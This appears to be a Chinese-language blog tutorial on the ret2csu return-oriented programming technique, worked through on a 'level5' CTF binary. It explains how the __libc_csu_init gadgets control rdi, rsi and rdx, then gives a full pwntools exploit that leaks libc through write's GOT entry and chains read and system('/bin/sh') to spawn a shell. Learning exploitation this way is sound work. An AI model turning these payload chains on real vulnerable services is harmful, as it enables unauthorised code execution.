以蒸米一步一步学 ROP 之 linux_x64 篇-level5为例:
在x86-64架构下,前6个参数的传递依次按照rdi、rsi、rdx、rcx、r8、r9的顺序来传递,剩下的压入栈中传递。
csu_init关键代码:
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j .text:00000000004005F0 mov rdx, r15 .text:00000000004005F3 mov rsi, r14 .text:00000000004005F6 mov edi, r13d .text:00000000004005F9 call qword ptr [r12+rbx*8] .text:00000000004005FD add rbx, 1 .text:0000000000400601 cmp rbx, rbp .text:0000000000400604 jnz short loc_4005F0 .text:0000000000400606 .text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j .text:0000000000400606 mov rbx, [rsp+38h+var_30] .text:000000000040060B mov rbp, [rsp+38h+var_28] .text:0000000000400610 mov r12, [rsp+38h+var_20] .text:0000000000400615 mov r13, [rsp+38h+var_18] .text:000000000040061A mov r14, [rsp+38h+var_10] .text:000000000040061F mov r15, [rsp+38h+var_8] .text:0000000000400624 add rsp, 38h .text:0000000000400628 retn .text:0000000000400628 ; } // starts at 4005A0 .text:0000000000400628 __libc_csu_init endp</code>
以上csu init代码,可以帮助我们操控x86-64架构程序中,函数调用的前三个寄存器rdi、rsi、rdx。
例如,我们现在要通过ret2csu打印出write函数在got表中的地址,我们可以:
ssize_t write (int fd, const void * buf, size_t count)
第一步:为了使用call来调用write需要r12+rbx*8=write_got
(call qword ptr [r12+rbx*8]
将rbx置0,此处就直接调用r12的地址了)
第二步:设置参数
edi = r13d = 1,
rsi = r14 = write_got,
rdx = r15 = 8
第三步:为了使jnz不跳转,继续向下执行(为了可以继续构造rop链),需要
rbx+1=rbp
rbx = 0
rbp = 1
r12 = write_got
由于add rsp, 38h
会将当前运行的栈指针rsp添加0x38,因此,我们如果需要继续利用,就需要继续发送0x38的垃圾数据进行填充,之后附上继续调用的函数地址。
因此,进行一次ret2csu(其中包含了一些ret2libc的技巧)执行某一个libc函数的过程为:
payload1 = b'A'*0x80+b'B'*8 #padding payload1 += p64(gadget1) #将程序流劫持到loc_400606(gadget1) payload1 += p64(0) #rsp payload1 += p64(0) #rbx payload1 += p64(1) #rbp payload1 += p64(write_got) #r12,就是需要执行函数的地址,对应执行了0x4005F9处的内容 payload1 += p64(1) #r13 => edi 第一个参数 payload1 += p64(write_got) #r14 => rsi 第二个参数 payload1 += p64(8) #r15 => rdx 第三个参数 payload1 += p64(gadget2) payload1 += b'\x00'*0x38 #padding,因为有 add rsp, 38h 故加上0x38个填充数据 payload1 += p64(main_addr) #等待第二次触发漏洞。继续劫持
在本题中,需要三次劫持:
- write(1,write_got,8)泄露libc
- read(0,bss,16)写入system地址和/bin/sh字符串
- system('/bin/sh') getshell
完整exp:
from pwn import * file_path='./level5' context(binary=file_path,os='linux') p = process(file_path) elf = ELF(file_path) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') main_addr = 0x400564 write_got = elf.got['write'] read_got = elf.got['read'] gadget1 = 0x400606 gadget2 = 0x4005F0 bss_addr = 0x601028 #payload = b'A'*0x80+b'B'*8+p64(gadget1)+b'C'*8+b'D'*8+b'E'*8+b'F'*8+b'G'*8+b'H'*8#show how to set register #######################leak libc############################### payload1 = b'A'*0x80+b'B'*8 #padding payload1 += p64(gadget1) #ret payload1 += p64(0) #rsp payload1 += p64(0) #rbx payload1 += p64(1) #rbp payload1 += p64(write_got) #r12 payload1 += p64(1) #r13 edi payload1 += p64(write_got) #r14 rsi payload1 += p64(8) #r15 rdx payload1 += p64(gadget2) payload1 += b'\x00'*0x38 #padding payload1 += p64(main_addr) #等待第二次触发漏洞 gdb.attach(p,'b *0x400562') p.sendafter('Hello, World\n',payload1) write_addr = u64(p.recv(8)) libc_base = write_addr - libc.sym['write'] system_addr = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) success("libc_base:{}".format(hex(libc_base))) success("system_addr:{}".format(hex(system_addr))) success("binsh:{}".format(hex(binsh))) #######################read(0,bss,8) system_addr############################### payload2 = b'A'*0x80+b'B'*8 #padding payload2 += p64(gadget1) #ret payload2 += p64(0) #rsp payload2 += p64(0) #rbx payload2 += p64(1) #rbp payload2 += p64(read_got) #r12 ret payload2 += p64(0) #r13 edi payload2 += p64(bss_addr) #r14 rsi payload2 += p64(16) #r15 rdx payload2 += p64(gadget2) payload2 += b'\x00'*0x38 #padding payload2 += p64(main_addr) #等待第三次触发漏洞 p.sendafter('Hello, World\n',payload2) sleep(1) p.send(p64(system_addr)+b'/bin/sh\x00') sleep(1) #此时bss_addr中存储了system_addr,bss_addr+8中存储了"/bin/sh" #######################system('/bin/sh') system_addr############################### payload3 = b'A'*0x80+b'B'*8 #padding payload3 += p64(gadget1) #ret payload3 += p64(0) #rsp payload3 += p64(0) #rbx payload3 += p64(1) #rbp payload3 += p64(bss_addr) #r12 第二次的read将system的真实地址读入到了bss_addr中 payload3 += p64(bss_addr+8) #r13 => edi 第二次的read将/bin/sh读入到了bss_addr+8中 payload3 += p64(0) #r14 rsi payload3 += p64(0) #r15 rdx payload3 += p64(gadget2) payload3 += b'\x00'*0x38 #padding payload3 += p64(main_addr) #等待下一次触发漏洞 p.sendafter('Hello, World\n',payload3) p.interactive()
参考资料:
Comments | NOTHING